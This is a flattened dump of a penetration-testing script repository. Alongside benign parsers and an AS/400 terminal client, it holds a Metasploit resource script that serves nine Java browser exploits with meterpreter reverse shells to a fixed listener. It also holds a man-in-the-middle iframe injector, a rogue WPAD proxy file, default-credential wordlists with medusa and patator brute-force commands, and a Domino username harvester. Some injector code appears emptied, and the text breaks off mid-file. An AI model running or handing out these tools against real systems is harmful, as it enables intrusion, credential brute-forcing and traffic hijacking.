├── impacket ├── .gitignore ├── psexec.png ├── smbexec.png ├── wmiexec.png ├── README.md └── wmiexec.py ├── nessus └── README.md ├── as400 ├── vt5250.pyc ├── CodePage.pyc ├── Session.pyc ├── Screen5250.pyc ├── ScreenField.pyc ├── frmConnect.pyc ├── ScreenFields.pyc ├── tn5250.py ├── Sessions.py ├── SessionManager.py ├── Session.py ├── frmConnect.py ├── CodePage.py ├── testAS400.py ├── ScreenField.py ├── ScreenFields.py ├── tn5250.old.py └── Screen5250.py ├── masscan ├── README.MD └── parseMasscan.py ├── cenzic ├── screenshot1.png ├── README.md └── url2cenzic.py ├── mitm ├── wpad.dat ├── readme.txt ├── msf1.rc ├── iframe_injector ├── savecookies.js ├── pluginDetect4.htm └── beefclone.js ├── default_accounts_wordlist ├── README.md ├── wordList_ibm.txt ├── passwords.txt ├── users.txt ├── wordList_ssh_hydra.txt ├── getDefaultAccounts,py └── wordList_ssh.txt ├── README.md ├── vm_automation ├── README.md └── vmAcunetix.py ├── web ├── parseFileList.py └── parseFileList_linux.py ├── extractDominoUsers.py ├── enumeration └── findSubdomains.py ├── wireless └── sniffCert.py ├── wordpress_exploits ├── readme.txt └── cve-2013-3684.py ├── firebird └── firebirdBrute.py ├── ip2domains.py ├── exploits └── cve-2013-7331.html ├── plesk_panel └── pleskSQL.rb ├── others └── parseMSTports.py ├── niktohelper └── niktohelper.py ├── oracle_pillage ├── ora_priv.py └── ora_pillage.py └── emaildownloader └── emailDownloader.py /impacket/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode/* -------------------------------------------------------------------------------- /nessus/README.md: -------------------------------------------------------------------------------- 1 | Migrated to https://github.com/milo2012/nmap2nessus 2 | -------------------------------------------------------------------------------- /as400/vt5250.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/milo2012/pentest_scripts/HEAD/as400/vt5250.pyc -------------------------------------------------------------------------------- /as400/CodePage.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/milo2012/pentest_scripts/HEAD/as400/CodePage.pyc -------------------------------------------------------------------------------- /as400/Session.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/milo2012/pentest_scripts/HEAD/as400/Session.pyc -------------------------------------------------------------------------------- /impacket/psexec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/milo2012/pentest_scripts/HEAD/impacket/psexec.png -------------------------------------------------------------------------------- /masscan/README.MD: -------------------------------------------------------------------------------- 1 | - parseMasscan.py 2 | Parse masscan output scan.xml into IP address list 3 | -------------------------------------------------------------------------------- /as400/Screen5250.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/milo2012/pentest_scripts/HEAD/as400/Screen5250.pyc -------------------------------------------------------------------------------- /as400/ScreenField.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/milo2012/pentest_scripts/HEAD/as400/ScreenField.pyc -------------------------------------------------------------------------------- /as400/frmConnect.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/milo2012/pentest_scripts/HEAD/as400/frmConnect.pyc -------------------------------------------------------------------------------- /impacket/smbexec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/milo2012/pentest_scripts/HEAD/impacket/smbexec.png -------------------------------------------------------------------------------- /impacket/wmiexec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/milo2012/pentest_scripts/HEAD/impacket/wmiexec.png -------------------------------------------------------------------------------- /as400/ScreenFields.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/milo2012/pentest_scripts/HEAD/as400/ScreenFields.pyc -------------------------------------------------------------------------------- /cenzic/screenshot1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/milo2012/pentest_scripts/HEAD/cenzic/screenshot1.png -------------------------------------------------------------------------------- /mitm/wpad.dat: -------------------------------------------------------------------------------- 1 | function FindProxyForURL(url, host) { 2 | // URLs within this network are accessed directly 3 | if (isInNet(host, "127.0.0.1", "255.255.255.0")) 4 | { 5 | return "DIRECT"; 6 | } 7 | return "PROXY 10.0.20.172:8080; DIRECT"; 8 | } 9 | 10 | -------------------------------------------------------------------------------- /cenzic/README.md: -------------------------------------------------------------------------------- 1 | # url2cenzic.py 2 | url2cenzic 3 | 4 | Cenzic Hailstorm Appscanner needs to accept proper URLs (final redirected URLs) 5 | This script parses the file containing the list of URLs and gets the final redirected URL and writes them into a CSV file that you can use to import into Cenzic Hailstorm Appscanner 6 | 7 | ![alt tag](https://raw.githubusercontent.com/milo2012/pentest_scripts/master/cenzic/screenshot1.png) 8 | -------------------------------------------------------------------------------- /mitm/readme.txt: -------------------------------------------------------------------------------- 1 | pip install pyopenssl 2 | pip install netlib 3 | pip install flask 4 | pip install termcolor 5 | 6 | or 7 | 8 | wget https://pypi.python.org/packages/source/t/termcolor/termcolor-1.1.0.tar.gz 9 | wget https://pypi.python.org/packages/source/p/pyOpenSSL/pyOpenSSL-0.13.1.tar.gz 10 | wget https://pypi.python.org/packages/source/n/netlib/netlib-0.9.2.tar.gz 11 | wget https://pypi.python.org/packages/source/F/Flask/Flask-0.10.1.tar.gz 12 | 13 | -------------------------------------------------------------------------------- /default_accounts_wordlist/README.md: -------------------------------------------------------------------------------- 1 | #Credits to: 2 | (1) cirt.net - For providing the extensive database of default credentials. 3 | 4 | #Below are examples of how you can use the generated wordlists 5 | ``` 6 | medusa -M ssh -C wordList_ssh.txt -H port22_hosts.txt 7 | medusa -M telnet -C wordList_telnet.txt -H port23_hosts.txt 8 | patator.py ssh_login host=10.0.0.1 user=FILE0 password=FILE1 0=users.txt 1=passwords.txt -x ignore:mesg='Authentication failed.' 9 | ``` 10 | 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | - ip2domains.py 2 | Extracts the common name from the SSL certificate (if its not a wildcard domain). 3 | Performs a reverse lookup on Bing for domains hosted on the IP address 4 | 5 | - firebird/firebird.py 6 | This tool attempts to brute force the database names on the Firebird database server using the default credentials (sysdba|masterkey) 7 | If you need an english dictionary wordlist, you can download one from http://www-01.sil.org/linguistics/wordlists/english/wordlist/wordsEn.txt. 8 | 9 | - wireless/sniffCert.py 10 | Sniff and extract SSL certificate of wireless access point (EAP) 11 | 12 | 13 | -------------------------------------------------------------------------------- /as400/tn5250.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #Boa:App:BoaApp 3 | 4 | from wxPython.wx import * 5 | 6 | import frmConnect 7 | 8 | modules ={'frmConnect': [1, 'Main frame of Application', 'frmConnect.py']} 9 | 10 | class BoaApp(wxApp): 11 | def OnInit(self): 12 | wxInitAllImageHandlers() 13 | self.main = frmConnect.create(None) 14 | # needed when running from Boa under Windows 9X 15 | self.SetTopWindow(self.main) 16 | self.main.Show();self.main.Hide();self.main.Show() 17 | return True 18 | 19 | def main(): 20 | application = BoaApp(0) 21 | application.MainLoop() 22 | 23 | if __name__ == '__main__': 24 | main() 25 | -------------------------------------------------------------------------------- /vm_automation/README.md: -------------------------------------------------------------------------------- 1 | - vmAcunetix.py 2 | 3 | Starts up the VM (background optional with the -nogui parameter to improve performance) 4 | Launches Acunetix and scans the URLs listed in the text files. 5 | ``` 6 | usage: vmAcunetix.py [-h] [-u USERNAME] [-p PASSWORD] [-iL FILENAME] [-nogui] 7 | [-n THREADS] 8 | 9 | optional arguments: 10 | -h, --help show this help message and exit 11 | -u USERNAME [username to use to login into VM] 12 | -p PASSWORD [password to use to login into VM] 13 | -iL FILENAME [text file containing list of URLs] 14 | -nogui [starts VM with no gui] 15 | -n THREADS [number of threads] 16 | ``` 17 | -------------------------------------------------------------------------------- /default_accounts_wordlist/wordList_ibm.txt: -------------------------------------------------------------------------------- 1 | :11111111:11111111 2 | :22222222:22222222 3 | :I5rDv2b2JjA8Mm:A52896nG93096a 4 | :QSECOFR:QSECOFR 5 | :QSRVBAS:QSRVBAS 6 | :QUSER:QUSER 7 | :admin:admin 8 | :admin:password 9 | :db2admin:db2admin 10 | :def:trade 11 | :guest:guest 12 | :ibm:2222 13 | :ibm:password 14 | :ibm:service 15 | :ncadmin:ncadmin 16 | :qpgmr:qpgmr 17 | :qsecofr:11111111 18 | :qsecofr:22222222 19 | :qsecofr:qsecofr 20 | :qserv:qserv 21 | :qsrv:qsrv 22 | :qsrvbas:qsrvbas 23 | :qsvr:ibmcel 24 | :qsvr:qsvr 25 | :qsysopr:qsysopr 26 | :root:ibm 27 | :secofr:secofr 28 | :storwatch:storwatch 29 | :vt100:public 30 | :webadmin:webibm 31 | :wpsadmin:wpsadmin 32 | :username:password 33 | -------------------------------------------------------------------------------- /web/parseFileList.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import argparse 3 | import sys 4 | 5 | if __name__ == '__main__': 6 | parser = argparse.ArgumentParser() 7 | 8 | parser.add_argument('-f', action='store', help='[file containing directory listing]') 9 | 10 | if len(sys.argv)==1: 11 | parser.print_help() 12 | sys.exit(1) 13 | 14 | options = parser.parse_args() 15 | if options.f: 16 | with open(options.f) as f: 17 | content = f.readlines() 18 | fullPath = '' 19 | for i in content: 20 | i = i.strip() 21 | if '/' in i: 22 | fullPath = i.replace(":","") 23 | elif "total " in i or len(i)<1: 24 | continue 25 | else: 26 | pathSplit = i.split(" ") 27 | try: 28 | if len(pathSplit)<12: 29 | print fullPath+"/"+pathSplit[10] 30 | except IndexError: 31 | continue 32 | -------------------------------------------------------------------------------- /as400/Sessions.py: -------------------------------------------------------------------------------- 1 | """ 2 | SessionManager and Sessions objects 3 | Created by Nathanael Custer 2002-07-01 4 | """ 5 | from Session import Session 6 | 7 | __all__ = ["Sessions"] 8 | 9 | # Tunable parameters 10 | DEBUGLEVEL = 0 11 | # Telnet Port 12 | TELNET_PORT = 23 13 | 14 | class Sessions: 15 | def __init__(self): 16 | self.list = [] 17 | 18 | def _addSession(self, name=''): 19 | session = [name, Session()] 20 | self.list.append(session) 21 | 22 | def _delSession(self, name=''): 23 | for x in self.list: 24 | if name == x[0]: 25 | self.list.remove(x) 26 | #else: 27 | #raise error here 28 | 29 | def item(self, name=''): 30 | for x in self.list: 31 | if name == x[0]: 32 | return x[1] 33 | 34 | def item_index(self, index=0): 35 | return self.list[index][1] 36 | 37 | def _list(self): 38 | return self.list -------------------------------------------------------------------------------- /extractDominoUsers.py: -------------------------------------------------------------------------------- 1 | from lxml import html 2 | import httplib 3 | from urlparse import urlparse 4 | import requests,sys 5 | 6 | url = "https://webmail.xxxx.com/certlog.nsf" 7 | 8 | 9 | page = requests.get(url,verify=False) 10 | if "Certificate Log" not in page.text: 11 | print "[!] Please check URL" 12 | else: 13 | #domainName = "carnivalaustralia.com" 14 | page = requests.get(url,verify=False) 15 | tree = html.fromstring(page.text) 16 | path = elements = tree.xpath('/html/body/ul/li[3]/a/@href') 17 | hostname = urlparse(url).hostname 18 | scheme = urlparse(url).scheme 19 | startUrl = scheme+"://"+hostname+path[0] 20 | 21 | nameList=[] 22 | count=1 23 | while True: 24 | url = startUrl+"&Start="+str(count)+"&ExpandView" 25 | #print url 26 | page = requests.get(url,verify=False) 27 | tree = html.fromstring(page.text) 28 | elements = tree.xpath('//tr/td//text()') 29 | if len(elements)>5: 30 | counter=0 31 | for i in elements: 32 | if counter%5==0: 33 | username = i.replace(", ",".") 34 | if username not in nameList: 35 | if "/" not in username and username!='Previous': 36 | nameList.append(username) 37 | print username 38 | #print username+"@"+domainName 39 | counter+=1 40 | elif len(elements)==0: 41 | sys.exit() 42 | count+=30 43 | -------------------------------------------------------------------------------- /as400/SessionManager.py: -------------------------------------------------------------------------------- 1 | """ 2 | SessionManager and Sessions objects 3 | Created by Nathanael Custer 2002-07-01 4 | """ 5 | from Sessions import Sessions 6 | 7 | __all__ = ["SessionManager"] 8 | 9 | # Tunable parameters 10 | DEBUGLEVEL = 0 11 | # Telnet Port TELNET_PORT = 23 12 | 13 | class SessionManager: 14 | def __init__(self): 15 | self.MasterSessionList = Sessions() 16 | 17 | def getSessions(self): 18 | return self.MasterSessionList 19 | 20 | def openSession(self, name=''): 21 | self.MasterSessionList._addSession(name) 22 | return self.MasterSessionList.item(name) 23 | 24 | def closeSession(self, name=''): 25 | session = self.MasterSessionList.item(name) 26 | self.MasterSessionList._delSession(name) 27 | 28 | def refresh(self): 29 | return self.MasterSessionList 30 | 31 | if __name__ == '__main__': 32 | test = SessionManager() 33 | print "Generating 10 test sessions." 34 | for x in range(10): 35 | test.openSession('test' + str(x)) 36 | print "Here is the list of the sessions:" 37 | a = test.getSessions() 38 | print a.list 39 | print "Now removing the sessions one at a time" 40 | for x in range(10): 41 | test.closeSession('test' + str(x)) 42 | a = test.refresh() 43 | print "One less" 44 | print a.list 45 | -------------------------------------------------------------------------------- /masscan/parseMasscan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding: utf-8 3 | 4 | from __future__ import print_function 5 | import os 6 | import sys 7 | from collections import defaultdict as ddict 8 | try: 9 | from defusedxml.ElementTree import parse 10 | except ImportError: 11 | print("defusedxml not found, downgrading to builtin XML parsing library.") 12 | from xml.etree.ElementTree import parse 13 | 14 | if sys.argv[1] is None: 15 | raise SystemExit("need a file to convert") 16 | if not os.path.exists(sys.argv[1]): 17 | raise SystemExit("File {} does not exist".format(sys.argv[1])) 18 | 19 | # keep file name, to use for outputs 20 | name = os.path.splitext(sys.argv[1])[0] 21 | 22 | # parse file, extract hosts, map by open port found 23 | et = parse(sys.argv[1]) 24 | et.findall('host') 25 | xhosts = et.findall('host') 26 | portmap = ddict(list) 27 | for xhost in xhosts: 28 | _hostaddr = xhost.getchildren()[0].items()[1][1] 29 | _port = xhost.getchildren()[1].getchildren()[0].items()[1][1] 30 | portmap[_port].append(_hostaddr) 31 | 32 | # dump to files corresponding to each port name 33 | for port, hosts in portmap.iteritems(): 34 | outname = '{}-port{}.list'.format(name, port) 35 | with open(outname, 'w') as ofd: 36 | for host in hosts: 37 | ofd.write('{}\n'.format(host)) 38 | print("wrote {}".format(outname)) 39 | -------------------------------------------------------------------------------- /impacket/README.md: -------------------------------------------------------------------------------- 1 | Impacket Scripts Mod 2 | ============ 3 | Please see below for changes to wmiexec.py script 4 | Special thanks for Corelabs for making these scripts. 5 | Impacket scripts can be found here https://code.google.com/p/impacket/. 6 | 7 | The use case scenario for these modded scripts is that the password contains special characters like @ or : and you can't use it with the default wmiexec.py/psexec.py/smbexec.py scripts. 8 | 9 | These 3 scripts are the common tools to use if you want to get the remote host to execute a meterpreter exe file generated via Veil-Evasion. 10 | 11 | ![alt tag](https://raw.githubusercontent.com/milo2012/pentest_scripts/master/impacket/wmiexec.png) 12 | ``` 13 | python wmiexec.py -d testdomain -u user -p pass -ip 192.168.2.1 -command ipconfig 14 | or 15 | python wmiexec.py -d testdomain -u user -p pass -ip 192.168.2.1 -f ips.txt -command ipconfig 16 | ``` 17 | 18 | ![alt tag](https://github.com/milo2012/pentest_scripts/raw/master/impacket/smbexec.png) 19 | ``` 20 | python smbexec.py -d testdomain -u user -p pass -ip 192.168.2.1 21 | or 22 | python smbexec.py -d testdomain -u user -p pass -f ips.txt 23 | ``` 24 | 25 | ![alt tag](https://github.com/milo2012/pentest_scripts/raw/master/impacket/psexec.png) 26 | ``` 27 | python psexec.py -d testdomain -u user -p pass -ip 192.168.2.1 -command ipconfig 28 | or 29 | python psexec.py -d testdomain -u user -p pass -f ips.txt -command ipconfig 30 | ``` 31 | -------------------------------------------------------------------------------- /mitm/msf1.rc: -------------------------------------------------------------------------------- 1 | setg exitonsession false 2 | setg LHOST 192.168.0.108 3 | setg SRVPORT 80 4 | setg SRVHOST 192.168.0.108 5 | sleep 3 6 | use exploit/multi/browser/java_jre17_jmxbean 7 | set PAYLOAD java/meterpreter/reverse_tcp 8 | set URIPATH /CVE-2013-0431 9 | set LPORT 4000 10 | exploit -jz 11 | sleep 2 12 | use exploit/multi/browser/java_atomicreferencearray 13 | set PAYLOAD java/meterpreter/reverse_tcp 14 | set URIPATH /CVE-2012-0507 15 | set LPORT 4001 16 | exploit -jz 17 | sleep 2 18 | use exploit/multi/browser/java_verifier_field_access 19 | set PAYLOAD java/meterpreter/reverse_tcp 20 | set URIPATH /CVE-2012-1723 21 | set LPORT 4002 22 | exploit -jz 23 | sleep 2 24 | use exploit/windows/browser/java_ws_vmargs 25 | set PAYLOAD windows/meterpreter/reverse_tcp 26 | set URIPATH /CVE-2012-0500 27 | set LPORT 81 28 | exploit -jz 29 | sleep 2 30 | use exploit/multi/browser/java_jre17_method_handle 31 | set PAYLOAD java/meterpreter/reverse_tcp 32 | set URIPATH /CVE-2012-5088 33 | set LPORT 4004 34 | exploit -jz 35 | sleep 2 36 | use exploit/windows/browser/java_cmm 37 | set PAYLOAD windows/meterpreter/reverse_tcp 38 | set URIPATH /CVE-2013-1493 39 | set LPORT 4005 40 | exploit -jz 41 | sleep 2 42 | use exploit/multi/browser/java_jre17_driver_manager 43 | set PAYLOAD java/meterpreter/reverse_tcp 44 | set URIPATH /CVE-2013-1488 45 | set LPORT 4006 46 | exploit -jz 47 | sleep 2 48 | use exploit/windows/browser/java_ws_double_quote 49 | set PAYLOAD windows/meterpreter/reverse_tcp 50 | set URIPATH / 51 | set LPORT 4007 52 | exploit -jz 53 | sleep 2 54 | use exploit/multi/browser/java_jre17_exec 55 | set PAYLOAD java/meterpreter/reverse_tcp 56 | set URIPATH /CVE-2012-4681 57 | set LPORT 82 58 | exploit -jz 59 | sleep 2 60 | -------------------------------------------------------------------------------- /as400/Session.py: -------------------------------------------------------------------------------- 1 | """ 2 | Session object 3 | Created by Kenneth J. Pouncey 2002-05-19 4 | """ 5 | from vt5250 import vt5250 6 | from Screen5250 import Screen5250 7 | 8 | __all__ = ["Session"] 9 | 10 | # Tunable parameters 11 | DEBUGLEVEL = 0 12 | # Telnet Port 13 | TELNET_PORT = 993 14 | 15 | class Session: 16 | """Session interface class.""" 17 | def __init__(self,host=None,port=0): 18 | """Constructor.""" 19 | self.debuglevel = DEBUGLEVEL 20 | self.vt = vt5250() 21 | self.vt.set_debuglevel(self.debuglevel) 22 | self.screen = Screen5250() 23 | self.screen.set_debuglevel(self.debuglevel) 24 | self.vt.setScreen(self.screen) 25 | self.screen.setVT(self.vt) 26 | if host: 27 | self.host = host 28 | else: 29 | self.host = 'localhost' 30 | if port: 31 | self.setPort(port) 32 | else: 33 | self.port = TELNET_PORT 34 | 35 | def set_debuglevel(self, debuglevel): 36 | """ 37 | Set the debug level. 38 | The higher it is, the more debug output you get (on sys.stdout). 39 | """ 40 | self.debuglevel = debuglevel 41 | self.vt.set_debuglevel(self.debuglevel) 42 | self.screen.set_debuglevel(self.debuglevel) 43 | 44 | def connect(self): 45 | self.vt.open(self.host,self.port) 46 | 47 | def disconnect(self): 48 | self.vt.close() 49 | 50 | def setHost(self,host): 51 | self.host = host 52 | 53 | def setPort(self,port): 54 | try: 55 | self.port = int(port) 56 | except ValueError: 57 | self.port = TELNET_PORT 58 | 59 | def getScreen(self): 60 | return self.screen 61 | -------------------------------------------------------------------------------- /mitm/iframe_injector: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """ 3 | Zap encoding in requests and inject iframe after body tag in html responses. 4 | Usage: 5 | iframe_injector http://someurl/somefile.html 6 | """ 7 | from libmproxy import controller, proxy, platform 8 | import os 9 | import sys 10 | 11 | 12 | class InjectingMaster(controller.Master): 13 | def __init__(self, server, iframe_url): 14 | controller.Master.__init__(self, server) 15 | self._iframe_url = iframe_url 16 | 17 | def run(self): 18 | try: 19 | return controller.Master.run(self) 20 | except KeyboardInterrupt: 21 | self.shutdown() 22 | 23 | def handle_request(self, msg): 24 | if 'Accept-Encoding' in msg.headers: 25 | msg.headers["Accept-Encoding"][0] = 'none' 26 | msg.reply() 27 | 28 | def handle_response(self, msg): 29 | if msg.content: 30 | c = msg.replace('', '' % self._iframe_url) 31 | if c > 0: 32 | print 'Iframe injected!' 33 | msg.reply() 34 | 35 | 36 | def main(argv): 37 | if len(argv) != 2: 38 | print "Usage: %s IFRAME_URL" % argv[0] 39 | sys.exit(1) 40 | iframe_url = argv[1] 41 | TRANSPARENT_SSL_PORTS = [443, 8443] 42 | trans = dict( 43 | resolver = platform.resolver(), 44 | sslports = TRANSPARENT_SSL_PORTS 45 | ) 46 | config = proxy.ProxyConfig( 47 | cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem") 48 | #transparent_proxy = trans 49 | 50 | ) 51 | server = proxy.ProxyServer(config, 8080) 52 | print 'Starting proxy...' 53 | m = InjectingMaster(server, iframe_url) 54 | m.run() 55 | 56 | if __name__ == '__main__': 57 | main(sys.argv) 58 | -------------------------------------------------------------------------------- /web/parseFileList_linux.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import sys 3 | import optparse 4 | 5 | ''' 6 | If you received a file/directory listing provided by the customer for a particular website, 7 | you can use the below script to convert it into something you can use inside burp intruder 8 | 9 | ├── CHANGELOG.txt 10 | ├── COPYRIGHT.txt 11 | ├── INSTALL.mysql.txt 12 | ├── INSTALL.pgsql.txt 13 | ├── INSTALL.sqlite.txt 14 | ├── INSTALL.txt 15 | ├── LICENSE.txt 16 | ├── MAINTAINERS.txt 17 | ├── README.txt 18 | ├── UPGRADE.txt 19 | ├── xxx 20 | │   ├── xxx.patch 21 | │   ├── yyy.patch 22 | ''' 23 | 24 | parser = optparse.OptionParser() 25 | parser.add_option('-f', action="store", dest="filename") 26 | options, remainder = parser.parse_args() 27 | 28 | if not options.filename: 29 | sys.exit() 30 | else: 31 | filename=options.filename 32 | text_file = open(filename, "r") 33 | lines = text_file.readlines() 34 | 35 | level1="├── " 36 | level2="│   ├── " 37 | level3="│   │   ├── " 38 | level4="│   │   │   ├── " 39 | lastLevel=0 40 | lastLevel1="" 41 | lastLevel2="" 42 | lastLevel3="" 43 | 44 | for x in lines: 45 | if x.startswith(level1): 46 | x=x.replace(level1,"") 47 | x=x.strip() 48 | print "/"+x 49 | lastLevel1="/"+x 50 | lastLevel=0 51 | if x.startswith(level2): 52 | x=x.replace(level2,"") 53 | x=x.strip() 54 | lastLevel2=x 55 | print lastLevel1+"/"+x 56 | lastLevel=1 57 | if x.startswith(level3): 58 | x=x.replace(level3,"") 59 | x=x.strip() 60 | if " ->" in x: 61 | x=x.split(" ->")[0] 62 | lastLevel3=x 63 | print lastLevel1+"/"+lastLevel2+"/"+x 64 | lastLevel=2 65 | if x.startswith(level4): 66 | x=x.replace(level4,"") 67 | x=x.strip() 68 | if " ->" in x: 69 | x=x.split(" ->")[0] 70 | lastLevel4=x 71 | print lastLevel1+"/"+lastLevel2+"/"+lastLevel3+"/"+x 72 | lastLevel=3 73 | 74 | -------------------------------------------------------------------------------- /enumeration/findSubdomains.py: -------------------------------------------------------------------------------- 1 | import optparse 2 | import sys 3 | import requests 4 | import json 5 | 6 | tmpDomainList=[] 7 | 8 | def lookup(domainName): 9 | nextLink='' 10 | url='https://transparencyreport.google.com/transparencyreport/api/v3/httpsreport/ct/certsearch?include_expired=true&include_subdomains=true&domain='+domainName 11 | content = requests.get(url) 12 | lines=(content.text).split("\n") 13 | contentStr="" 14 | for x in lines: 15 | x=x.strip() 16 | if x!=")]}'": 17 | contentStr+=x 18 | 19 | data = json.loads(contentStr) 20 | x=0 21 | while x0: 58 | if len(nextLink)>0: 59 | nextLink=lookupNextPage(nextLink) 60 | except TypeError: 61 | pass 62 | 63 | else: 64 | print "[!] Please provide a domain name using the -d argument" 65 | sys.exit() 66 | -------------------------------------------------------------------------------- /mitm/savecookies.js: -------------------------------------------------------------------------------- 1 | var expdate = new Date (); 2 | expdate.setTime (expdate.getTime() + (24 * 60 * 60 * 1000*365)); // 1 yr from now 3 | /* ####################### start set cookie ####################### */ 4 | function setCookie(name, value, expires, path, domain, secure) { 5 | var thisCookie = name + "=" + escape(value) + 6 | ((expires) ? "; expires=" + expires.toGMTString() : "") + 7 | ((path) ? "; path=" + path : "") + 8 | ((domain) ? "; domain=" + domain : "") + 9 | ((secure) ? "; secure" : ""); 10 | document.cookie = thisCookie; 11 | } 12 | /* ####################### start show cookie ####################### */ 13 | function showCookie(){ 14 | alert(unescape(document.cookie)); 15 | } 16 | /* ####################### start get cookie value ####################### */ 17 | function getCookieVal (offset) { 18 | var endstr = document.cookie.indexOf (";", offset); 19 | if (endstr == -1) 20 | endstr = document.cookie.length; 21 | return unescape(document.cookie.substring(offset, endstr)); 22 | /* ####################### end get cookie value ####################### */ 23 | } 24 | /* ####################### start get cookie (name) ####################### */ 25 | function GetCookie (name) { 26 | var arg = name + "="; 27 | var alen = arg.length; 28 | var clen = document.cookie.length; 29 | var i = 0; 30 | while (i < clen) { 31 | var j = i + alen; 32 | if (document.cookie.substring(i, j) == arg) 33 | return getCookieVal (j); 34 | i = document.cookie.indexOf(" ", i) + 1; 35 | if (i == 0) break; 36 | } 37 | return null; 38 | } 39 | /* ####################### end get cookie (name) ####################### */ 40 | /* ####################### start delete cookie ####################### */ 41 | function DeleteCookie (name,path,domain) { 42 | if (GetCookie(name)) { 43 | document.cookie = name + "=" + 44 | ((path) ? "; path=" + path : "") + 45 | ((domain) ? "; domain=" + domain : "") + 46 | "; expires=Thu, 01-Jan-70 00:00:01 GMT"; 47 | } 48 | } 49 | 50 | -------------------------------------------------------------------------------- /mitm/pluginDetect4.htm: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /as400/frmConnect.py: -------------------------------------------------------------------------------- 1 | #Boa:Frame:wxFrame1 2 | 3 | from wxPython.wx import * 4 | from wxPython.grid import * 5 | 6 | def create(parent): 7 | return wxFrame1(parent) 8 | 9 | [wxID_WXFRAME1, wxID_WXFRAME1BUTTON1, wxID_WXFRAME1BUTTON2, 10 | wxID_WXFRAME1BUTTON3, wxID_WXFRAME1BUTTON4, wxID_WXFRAME1BUTTON5, 11 | wxID_WXFRAME1BUTTON6, wxID_WXFRAME1GRID1, 12 | ] = map(lambda _init_ctrls: wxNewId(), range(8)) 13 | 14 | class wxFrame1(wxFrame): 15 | def _init_utils(self): 16 | # generated method, don't edit 17 | pass 18 | 19 | def _init_ctrls(self, prnt): 20 | # generated method, don't edit 21 | wxFrame.__init__(self, id=wxID_WXFRAME1, name='', parent=prnt, 22 | pos=wxPoint(350, 272), size=wxSize(370, 310), 23 | style=wxDEFAULT_FRAME_STYLE, title='TN5250PY - Verbindingen') 24 | self._init_utils() 25 | self.SetClientSize(wxSize(362, 276)) 26 | 27 | self.grid1 = wxGrid(id=wxID_WXFRAME1GRID1, name='grid1', parent=self, 28 | pos=wxPoint(0, 0), size=wxSize(370, 200), style=0) 29 | self.grid1.SetDefaultRowSize(15) 30 | 31 | self.button1 = wxButton(id=wxID_WXFRAME1BUTTON1, label='Toevoegen', 32 | name='button1', parent=self, pos=wxPoint(25, 210), size=wxSize(90, 33 | 23), style=0) 34 | 35 | self.button2 = wxButton(id=wxID_WXFRAME1BUTTON2, label='Verwijderen', 36 | name='button2', parent=self, pos=wxPoint(140, 210), 37 | size=wxSize(90, 23), style=0) 38 | 39 | self.button3 = wxButton(id=wxID_WXFRAME1BUTTON3, label='Eigenschappen', 40 | name='button3', parent=self, pos=wxPoint(255, 210), 41 | size=wxSize(90, 23), style=0) 42 | 43 | self.button4 = wxButton(id=wxID_WXFRAME1BUTTON4, label='Verbinden', 44 | name='button4', parent=self, pos=wxPoint(25, 245), size=wxSize(90, 45 | 23), style=0) 46 | 47 | self.button5 = wxButton(id=wxID_WXFRAME1BUTTON5, label='Opslaan', 48 | name='button5', parent=self, pos=wxPoint(140, 245), 49 | size=wxSize(90, 23), style=0) 50 | 51 | self.button6 = wxButton(id=wxID_WXFRAME1BUTTON6, label='Annuleren', 52 | name='button6', parent=self, pos=wxPoint(255, 245), 53 | size=wxSize(90, 23), style=0) 54 | 55 | def __init__(self, parent): 56 | self._init_ctrls(parent) 57 | -------------------------------------------------------------------------------- /wireless/sniffCert.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | ''' 3 | $ python sniffCert.py -h 4 | Usage: sniffCert.py [options] 5 | 6 | Options: 7 | -h, --help show this help message and exit 8 | -i INTERFACENO Interface to sniff 9 | 10 | $ python sniffCert.py -i en0 11 | [*] Sniffing Packets on Interface: en0 12 | [*] Connected to: networkid=Wireless_Test 13 | [*] Sent credentials: XXXXX 14 | [+] EAP Type: Protected EAP (EAP-PEAP) 15 | [+] Found Certificate 16 | [+] Writing certificate to sslcert.der 17 | [+] Display details of SSL certificate 18 | Certificate: 19 | Data: 20 | Version: 3 (0x2) 21 | Serial Number: 22 | 23 | ''' 24 | import os 25 | import optparse 26 | import binascii 27 | from scapy.all import * 28 | 29 | eapTypeList=[] 30 | eapTypeList.append([25,"Protected EAP (EAP-PEAP)"]) 31 | 32 | def http_header(packet): 33 | try: 34 | if packet[EAP].code==2: 35 | if packet[EAP].type==1: 36 | print "[*] Sent credentials: "+packet[EAP].identity 37 | if packet[EAP].code==1: 38 | try: 39 | if packet[EAP].type==1: 40 | tmpReq=packet[EAP].message 41 | if "networkid=" in tmpReq and "," in tmpReq: 42 | tmpList=tmpReq.split(",") 43 | for x in tmpList: 44 | if "networkid=" in x: 45 | connectedSSID=x.split("networkid=")[1] 46 | print "[*] Connected to: "+connectedSSID 47 | 48 | data=binascii.hexlify(packet[EAP].load) 49 | if data.startswith("0116"): 50 | if packet[EAP].type==25: 51 | for x in eapTypeList: 52 | if x[0]==packet[EAP].type: 53 | print "[+] EAP Type: "+x[1] 54 | print "[+] Found Certificate" 55 | dataSSLCert="" 56 | tmpList=data.split("3082") 57 | count=0 58 | for x in tmpList: 59 | if count>0: 60 | tmpData="3082"+x 61 | dataSSLCert+=tmpData 62 | count+=1 63 | if len(dataSSLCert)>0: 64 | print "[+] Writing certificate to 